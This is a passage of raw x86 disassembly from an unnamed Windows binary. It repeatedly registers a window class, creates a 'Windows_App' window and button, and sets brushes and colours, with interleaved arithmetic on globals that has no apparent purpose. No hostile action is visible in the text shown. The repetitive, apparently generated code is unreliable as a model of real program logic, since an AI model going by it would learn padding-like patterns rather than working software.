mov word [esp + 0x3bc], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3be], al
push 0x7f02
lea eax, [esp + 0x3bc]
push 0
mov dword [esp + 0x338], eax
mov dword [esp + 0x314], 8
mov dword [esp + 0x310], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x328], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x33c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x324], eax
lea eax, [esp + 0x308]
push eax
mov dword [esp + 0x330], 0
mov dword [esp + 0x318], 0
mov dword [esp + 0x31c], 0
mov dword [esp + 0x32c], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
mov ebx, dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e0]
push eax
push 0
mov dword [0x12524994], ecx
call ebx
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call ebx
mov esi, dword [0x1252499c]
mov ebx, dword [0x125249a4]
mov edx, dword [0x12524994]
mov ecx, dword [0x125249a0]
mov eax, edx
sub eax, ecx
add eax, ebx
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
cmp eax, dword [0x12524998]
jb 0x125029b7
mov eax, dword [esp + 0x3b0]
movzx ecx, ax
add ecx, dword [esp + 0x14]
add ecx, dword [esp + 0x3a8]
mov dword [esp + 0x10], ecx
mov dword [0x125249a0], ecx
mov eax, dword [esp + 0x14]
imul eax, esi
cmp dword [esp + 0x3a8], eax
je 0x125029de
movzx eax, si
mov esi, 1
sub esi, eax
imul esi, dword [esp + 0x3a8]
sub esi, 3
jmp 0x125029e5
mov esi, dword [esp + 0x3a8]
mov eax, edx
sub eax, ecx
add eax, ebx
cmp eax, dword [0x12524998]
jb 0x12502a0a
movzx eax, si
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x3a8]
mov dword [esp + 0x10], eax
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0x1c], eax
lea eax, [ebx + 6]
push edx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
sub ebx, 0x136
mov dword [esp + 0x3b0], ebx
mov ebx, dword [sym.imp.GDI32.dll_SetBkMode]
je 0x12502a4b
sub dword [esp + 0x3b0], 2
je 0x12502a55
jmp 0x12502a9b
mov dword [0x12524994], 1
push 1
push dword [esp + 0x1c]
call ebx
push dword [esp + 0x18]
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, dword [0x125249e8]
jne 0x12502a9b
mov eax, dword [esp + 0x18]
push eax
push eax
call esi
mov eax, dword [esp + 0x18]
push eax
push eax
call ebx
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
cmp dword [0x125249a4], 0
mov dword [esp + 0xec], eax
je 0x12502b0a
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
add esp, 0xc
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov ecx, dword [0x125249a4]
mov dword [esp + 0xec], eax
mov dword [esp + 0x3b0], ecx
test ecx, ecx
je 0x12502b8e
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov ecx, dword [0x125249a4]
add esp, 0xc
mov dword [esp + 0x3b0], ecx
mov edx, dword [0x125249d4]
mov eax, dword [0x12524994]
mov dword [esp + 0x1c], edx
mov edx, dword [0x125249a0]
add ecx, 6
push eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x3bc], edx
mov dword [esp + 0x3ac], ecx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3b0]
sub eax, 0x136
je 0x12502bd4
sub eax, 2
je 0x12502bde
jmp 0x12502c27
mov dword [0x12524994], 1
push 1
push dword [esp + 0x1c]
call ebx
push dword [esp + 0x18]
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x12524a40]
jne 0x12502c27
mov eax, dword [esp + 0x18]
push eax
push eax
call esi
mov eax, dword [esp + 0x18]
push eax
push eax
call ebx
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov ecx, dword [0x12524994]
mov edx, dword [0x125249a0]
mov eax, ecx
sub eax, edx
mov dword [esp + 0x3b0], edx
mov edx, dword [0x125249a4]
add eax, edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x3a8], edx
cmp eax, dword [0x12524998]
jb 0x12502c72
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [esp + 0x3b0], eax
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0x3b8], eax
lea eax, [edx + 6]
push ecx
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3a8]
sub eax, 0x136
je 0x12502ca1
sub eax, 2
je 0x12502cab
jmp 0x12502cf4
mov dword [0x12524994], 1
push 1
push dword [esp + 0x1c]
call ebx
push dword [esp + 0x18]
push dword [esp + 0x20]
push dword [esp + 0x3c0]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3b0]
cmp eax, dword [0x12524a14]
jne 0x12502cf4
mov eax, dword [esp + 0x18]
push eax
push eax
call esi
mov eax, dword [esp + 0x18]
push eax
push eax
call ebx
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov dword [esp + 0xec], eax
mov eax, dword [0x125249a4]
mov dword [esp + 0x18], eax
test eax, eax
je 0x12502ec3
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov eax, dword [0x125249a4]
add esp, 0xc
mov dword [esp + 0x18], eax
test eax, eax
je 0x12502ec3
mov eax, dword [str.Window]
mov dword [esp + 0x3c0], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3c4], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3c6], al
push 0x7f02
lea eax, [esp + 0x3c4]
push 0
mov dword [esp + 0x338], eax
mov dword [esp + 0x314], 8
mov dword [esp + 0x310], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x328], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x33c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x324], eax
lea eax, [esp + 0x308]
push eax
mov dword [esp + 0x330], 0
mov dword [esp + 0x318], 0
mov dword [esp + 0x31c], 0
mov dword [esp + 0x32c], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e8]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov eax, dword [0x125249a4]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
mov dword [esp + 0x18], eax
mov ecx, dword [0x125249d4]
mov edx, dword [0x12524994]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x10], edx
cmp dword [esp + 0x3a8], ecx
jne 0x12502ef6
mov ecx, dword [esp + 0x3a8]
movzx ecx, cx
imul ecx, eax
imul ecx, eax
add ecx, ecx
sub ecx, edx
jmp 0x12502efa
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x3b0], ecx
mov ecx, dword [0x125249a0]
add eax, 6
push edx
mov dword [esp + 0x3bc], ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x18]
sub eax, 0x136
je 0x12502f31
sub eax, 2
je 0x12502f3b
jmp 0x12502f81
mov dword [0x12524994], 1
push 1
push dword [esp + 0x14]
call ebx
push dword [esp + 0x10]
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x12524a34]
jne 0x12502f81
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov ecx, dword [0x12524994]
mov esi, dword [0x125249a0]
mov edx, dword [0x125249a4]
mov eax, ecx
sub eax, esi
add eax, edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x3c8], edx
cmp eax, dword [0x12524998]
jb 0x12502fd2
mov eax, dword [esp + 0x3b0]
movzx esi, ax
add esi, dword [esp + 0x3a8]
add esi, dword [esp + 0x3a8]
mov dword [esp + 0x10], esi
mov dword [0x125249a0], esi
mov eax, ecx
sub eax, esi
add eax, edx
cmp eax, dword [0x12524998]
jb 0x12502ff7
movzx esi, word [esp + 0x14]
add esi, dword [esp + 0x14]
add esi, dword [esp + 0x14]
mov dword [esp + 0x10], esi
mov dword [0x125249a0], esi
test edx, edx
je 0x12503157
mov eax, dword [str.Window]
mov dword [esp + 0x3b8], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3bc], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3be], al
push 0x7f02
lea eax, [esp + 0x3bc]
push 0
mov dword [esp + 0x338], eax
mov dword [esp + 0x314], 8
mov dword [esp + 0x310], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x328], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x33c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x324], eax
lea eax, [esp + 0x308]
push eax
mov dword [esp + 0x330], 0
mov dword [esp + 0x318], 0
mov dword [esp + 0x31c], 0
mov dword [esp + 0x32c], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e0]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov eax, dword [0x125249a0]
mov edx, dword [0x125249a4]
mov ecx, dword [0x12524994]
mov dword [esp + 0x10], eax
mov dword [esp + 0x3c8], edx
mov dword [esp + 0x18], ecx
mov eax, dword [0x125249d4]
mov dword [esp + 0x1c], eax
lea eax, [edx + 6]
push ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3c8]
sub eax, 0x136
je 0x1250318c
sub eax, 2
je 0x12503196
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
jmp 0x125031e0
mov dword [0x12524994], 1
mov esi, dword [esp + 0x18]
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, dword [0x12524a2c]
jne 0x125031e0
mov eax, dword [esp + 0x18]
push eax
push eax
call esi
mov eax, dword [esp + 0x18]
push eax
push eax
call ebx
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [esp + 0x14]
mov ecx, dword [0x1252499c]
imul eax, ecx
cmp dword [esp + 0x3a8], eax
je 0x1250320d
movzx eax, cx
mov edx, 1
sub edx, eax
imul edx, dword [esp + 0x3a8]
sub edx, 3
jmp 0x12503214
mov edx, dword [esp + 0x3a8]
mov ecx, dword [0x12524994]
mov edi, dword [0x125249a0]
mov eax, ecx
sub eax, edi
mov dword [esp + 0x3c8], edi
mov edi, dword [0x125249a4]
add eax, edi
mov dword [esp + 0x3b0], edi
mov edi, dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x18], ecx
cmp eax, dword [0x12524998]
jb 0x12503266
movzx eax, dx
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x3a8]
mov dword [esp + 0x3c8], eax
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x3b0]
add eax, 6
push ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3b0]
sub eax, 0x136
je 0x1250329c
sub eax, 2
je 0x125032a6
jmp 0x125032ef
mov dword [0x12524994], 1
push 1
push dword [esp + 0x1c]
call ebx
push dword [esp + 0x18]
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3c8]
cmp eax, dword [0x125249f0]
jne 0x125032ef
mov eax, dword [esp + 0x18]
push eax
push eax
call esi
mov eax, dword [esp + 0x18]
push eax
push eax
call ebx
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov ecx, dword [0x125249d4]
mov eax, dword [0x12524994]
mov edx, dword [0x125249a0]
mov dword [esp + 0x3b8], ecx
mov ecx, dword [0x125249a4]
mov dword [esp + 0x3a8], ecx
add ecx, 6
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x3c4], edx
mov dword [esp + 0x20], ecx
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3a8]
sub eax, 0x136
je 0x12503342
sub eax, 2
je 0x1250334c
jmp 0x12503392
mov dword [0x12524994], 1
push 1
push dword [esp + 0x14]
call ebx
push dword [esp + 0x10]
push dword [esp + 0x20]
push dword [esp + 0x3c0]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3c0]
cmp eax, dword [0x12524a3c]
jne 0x12503392
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
cmp dword [0x125249a4], 0
mov dword [esp + 0xec], eax
je 0x12503401
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
add esp, 0xc
mov eax, dword [0x125249d4]
mov ecx, dword [0x12524994]
mov dword [esp + 0xdc], eax
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov esi, dword [0x125249a4]
mov dword [esp + 0xec], eax
test esi, esi
je 0x125035c1
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov esi, dword [0x125249a4]
add esp, 0xc
test esi, esi
je 0x125035c1
mov eax, dword [str.Window]
mov dword [esp + 0x3b8], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3bc], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3be], al
push 0x7f02
lea eax, [esp + 0x3bc]
push 0
mov dword [esp + 0x338], eax
mov dword [esp + 0x314], 8
mov dword [esp + 0x310], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x328], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x33c], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x324], eax
lea eax, [esp + 0x308]
push eax
mov dword [esp + 0x330], 0
mov dword [esp + 0x318], 0
mov dword [esp + 0x31c], 0
mov dword [esp + 0x32c], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e0]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [0x125249a4]
mov ecx, dword [0x12524994]
mov edx, dword [0x125249a0]
mov eax, ecx
sub eax, edx
add eax, esi
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], edx
cmp eax, dword [0x12524998]
jb 0x125035fa
movzx edx, word [esp + 0x14]
add edx, dword [esp + 0x14]
add edx, dword [esp + 0x14]
mov dword [esp + 0x10], edx
mov dword [0x125249a0], edx
test esi, esi
je 0x12503732
mov eax, dword [str.Window]
mov dword [esp + 0x3c0], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3c4], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3c6], al
push 0x7f02
lea eax, [esp + 0x3c4]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e8]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov eax, dword [0x125249a0]
mov ecx, dword [0x12524994]
mov esi, dword [0x125249a4]
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], ecx
mov eax, dword [0x125249d4]
mov dword [esp + 0x1c], eax
lea eax, [esi + 6]
push ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
sub esi, 0x136
je 0x12503761
sub esi, 2
je 0x1250376b
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
jmp 0x125037b5
mov dword [0x12524994], 1
mov esi, dword [esp + 0x18]
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, dword [0x12524a38]
jne 0x125037b5
mov eax, dword [esp + 0x18]
push eax
push eax
call esi
mov eax, dword [esp + 0x18]
push eax
push eax
call ebx
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov ecx, dword [0x12524994]
mov edx, dword [0x125249a0]
mov eax, ecx
sub eax, edx
mov dword [esp + 0x3b0], edx
mov edx, dword [0x125249a4]
add eax, edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x3a8], edx
cmp eax, dword [0x12524998]
jb 0x12503800
movzx eax, word [esp + 0x14]
add eax, dword [esp + 0x14]
add eax, dword [esp + 0x14]
mov dword [esp + 0x3b0], eax
mov dword [0x125249a0], eax
mov eax, dword [0x125249d4]
mov dword [esp + 0x3b8], eax
lea eax, [edx + 6]
push ecx
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3a8]
sub eax, 0x136
je 0x1250382f
sub eax, 2
je 0x12503839
jmp 0x1250387f
mov dword [0x12524994], 1
push 1
push dword [esp + 0x14]
call ebx
push dword [esp + 0x10]
push dword [esp + 0x20]
push dword [esp + 0x3c0]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
mov eax, dword [esp + 0x3b0]
cmp eax, dword [0x12524a30]
jne 0x1250387f
mov eax, dword [esp + 0x10]
push eax
push eax
call esi
mov esi, dword [esp + 0x10]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov edx, dword [0x125249a4]
mov dword [esp + 0x3b0], edx
test edx, edx
je 0x125039b8
mov eax, dword [str.Window]
mov dword [esp + 0x3c0], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3c4], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3c6], al
push 0x7f02
lea eax, [esp + 0x3c4]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3e8]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, dword [0x125249a4]
mov dword [esp + 0x3b0], edx
mov eax, dword [esp + 0x14]
mov ecx, dword [0x1252499c]
imul eax, ecx
cmp dword [esp + 0x3b0], eax
je 0x125039e5
movzx eax, cx
mov ecx, 1
sub ecx, eax
imul ecx, dword [esp + 0x3a8]
sub ecx, 3
jmp 0x125039ec
mov ecx, dword [esp + 0x3a8]
mov eax, dword [0x125249d4]
mov esi, dword [0x12524994]
mov dword [esp + 0x1c], eax
mov eax, dword [0x125249a0]
mov dword [esp + 0x3b8], eax
lea eax, [edx + 6]
push esi
mov dword [esp + 0x60], ecx
mov dword [esp + 0x3cc], esi
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3b0]
sub eax, 0x136
je 0x12503a38
sub eax, 2
je 0x12503a42
jmp 0x12503a8e
mov dword [0x12524994], 1
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b8]
cmp eax, dword [0x12524a20]
jne 0x12503a8e
mov eax, dword [esp + 0x3c8]
push eax
push eax
call esi
mov esi, dword [esp + 0x3c8]
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
mov edx, dword [0x125249d4]
mov ecx, dword [0x12524994]
cmp dword [esp + 0x3b0], edx
jne 0x12503ac1
mov eax, dword [esp + 0x3a8]
movzx esi, ax
imul esi, dword [0x125249a4]
imul esi, dword [0x125249a4]
add esi, esi
sub esi, ecx
jmp 0x12503ac5
mov esi, dword [esp + 0x5c]
movzx eax, cx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xe4], edx
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], ecx
call edi
mov ecx, dword [0x125249a4]
mov dword [esp + 0xec], eax
test ecx, ecx
je 0x12503b30
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov ecx, dword [0x125249a4]
add esp, 0xc
mov edx, dword [0x12524994]
mov eax, edx
sub eax, dword [0x125249a0]
add eax, ecx
cmp eax, dword [0x12524998]
jb 0x12503b5e
movzx eax, si
add eax, dword [esp + 0x3a8]
add eax, dword [esp + 0x3b0]
mov dword [0x125249a0], eax
test ecx, ecx
je 0x12503c83
mov eax, dword [str.Window]
mov dword [esp + 0x3a8], eax
mov ax, word [0x1251f494]
mov word [esp + 0x3ac], ax
mov al, byte [0x1251f496]
mov byte [esp + 0x3ae], al
push 0x7f02
lea eax, [esp + 0x3ac]
push 0
mov dword [esp + 0x5c], eax
mov dword [esp + 0x38], 8
mov dword [esp + 0x34], 0x30
call edi
push 0x7f03
push 0
mov dword [esp + 0x4c], eax
call edi
push 0x7f03
push 0
mov dword [esp + 0x60], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x54], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x50], 1
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [0x12524994]
push 0
push 0
push 0
push 0
push 0x12c
push 0xfa
push 0x80000000
push 0x80000000
test ax, ax
push 0xcf0000
mov eax, 1
cmove ecx, eax
push str.Windows_App
lea eax, [esp + 0x3d0]
push eax
push 0
mov dword [0x12524994], ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
mov esi, eax
push 0xfffffffffffffffa
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
push 0x64
push esi
push 0x14
push 0xc8
push 0xa
push 0x14
push 0x50000000
push 0x1251f4a4
push str.BUTTON
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, dword [0x12524994]
mov eax, dword [0x125249d4]
mov dword [esp + 0xdc], eax
movzx eax, dx
push eax
push 0
mov dword [esp + 0xe0], 0x1fc
mov dword [esp + 0xec], 7
mov dword [esp + 0xf0], 0x1e240
mov dword [esp + 0xe8], edx
call edi
mov dword [esp + 0xec], eax
mov eax, dword [0x125249a4]
mov dword [esp + 0x3b0], eax
test eax, eax
je 0x12503cff
lea eax, [esp + 0x3e0]
push eax
lea eax, [esp + 0xf4]
push 0x80
push eax
call fcn.1250aa9d
mov eax, dword [0x125249a4]
add esp, 0xc
mov dword [esp + 0x3b0], eax
mov ecx, dword [0x125249d4]
mov esi, dword [0x12524994]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x125249a0]
add eax, 6
push esi
mov dword [esp + 0x3cc], esi
mov dword [esp + 0x3bc], ecx
mov dword [esp + 0x3ac], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
mov eax, dword [esp + 0x3b0]
sub eax, 0x136
je 0x12503d49
sub eax, 2
je 0x12503d53
jmp 0x12503d9f
mov dword [0x12524994], 1
push 1
push esi
call ebx
push esi
push dword [esp + 0x3ac]
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.GDI32.dll_SetBkColor]
push eax
call esi
mov eax, dword [esp + 0x3b8]
